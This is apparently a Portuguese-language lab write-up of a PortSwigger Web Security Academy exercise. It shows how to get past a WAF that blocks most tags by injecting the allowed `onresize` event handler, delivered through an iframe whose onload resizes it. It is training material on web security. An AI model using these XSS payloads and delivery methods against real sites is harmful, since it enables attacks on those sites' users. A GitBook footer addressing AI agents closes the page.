> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-in-html-with-blocked-tags.md).

# XSS Refletido em HTML com Tags Bloqueadas

Notas sobre XSS Refletido em HTML com Tags Bloqueadas para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### XSS refletido em contexto HTML com a maioria das tags e atributos bloqueados

Este laboratório contém uma vulnerabilidade de XSS refletido na funcionalidade de busca, mas um firewall de aplicação (WAF) bloqueia os vetores de XSS mais comuns. / Para resolver o laboratório, você deve contornar o WAF e acionar o `print()` função.

* Tentando payloads clássicos como `<h1>test</h1>`, `<img` ou `<script` a resposta é: "Tag não é permitida".

```html
<h1>test</h1>
<img
<script
...
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c67f77171ac25fe390e17d42d38e4d3da441d950%2F%7BFDEFD10E-15D9-4AA6-A8D8-994D16FE6FB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Interceptei a página com o Burp Suite e disparei um mailing via Intruder.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-973df48a5f209df639d35072da327ac86d853c1c%2F%7BB68E8A9C-1169-47D0-A82D-D0A7D50DF3C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Copiei os tipos de atributos de evento (manipuladores de evento) e testei vários deles na cheatsheet do PortSwigger.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48e47b3ad901549a91971d407b2eb16719bd1345%2F%7BEDCFB912-406E-4722-9A0E-22D04169E2B8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* J

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28d0dabd67267bef1b183103bfebc9421857043f%2F%7B683E13E5-91F9-43CB-A820-ED7531B53CCA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-773965202955394e57e1694f3f5a0e109b30108e%2F%7B88432B46-F621-4EB3-9F05-27A494541B3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21be86e05d36a39b527b94a289b4fe1caa400dba%2F%7B6F04B0B4-2A6A-4B65-8C1A-D83E047EABCB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-811e1e16f7b7b5807ccf500a4b644a189030cefa%2F%7BACB2C322-734E-46DE-82D1-9FFD265ADDEE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3d8ca5c793a2d6604065ed59c26d234b86889df%2F%7B80BCDCAA-7280-48E9-B741-DAEA11C77277%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```
<body test=1>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55e8a590729ed34b342f0a120e1f643aebc6c892%2F%7B3C54AE6F-BB39-40F9-9EBA-2A330CD5CE85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Filtrei/testei vários atributos de eventos e me concentrei em `onresize`.

```javascript
<body onresize=alert(0)>
```

Payload testado e funcionando:

* Injeção direta: `<body onresize=alert(0)>` — ao redimensionar (roda de zoom), o alerta aparece.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0dfdec85a68be7816117ceb7d9846b231ae0903%2F%7B1D3850E3-B9F1-4B5B-8B33-8E81B9D72F93%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Objetivo final: chamar `print()` em vez de `alert()`:

```javascript
<body onresize=print()>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-383d7150cf46137fcf6ddd7e2e8ceee9a319d9fb%2F%7BAEF30A82-BE9C-4936-8F00-A31186A9E76D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

URL do exploit enviada à vítima:

```javascript
https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=
```

Entrega via iframe e disparo automático:

* Para forçar o `onresize` evento a carregar no frame, a largura do frame é alterada a partir de seu `onload` atributo:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>"</iframe>
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-059988f4976568b3ced7a908f5abd92735ddf9e2%2F%7BFF3EE0E1-7039-49F7-BA80-331D36E8E7AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

e versão com ajuste de largura no carregamento:

{% code overflow="wrap" %}

```javascript
<iframe id="myframe" src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>" onload=this.style.width='100px'></iframe>
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edd290b1a4fdd11f624dfbc557df7f87bff8eb5c%2F%7B928F5094-88FF-4997-BF4E-64828C5932D1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Resumo: bypass do WAF ao injetar um atributo de evento permitido (`onresize`) que chama `print()`, depois entrega via iframe com `onload` que altera o tamanho para disparar `onresize`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-in-html-with-blocked-tags.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
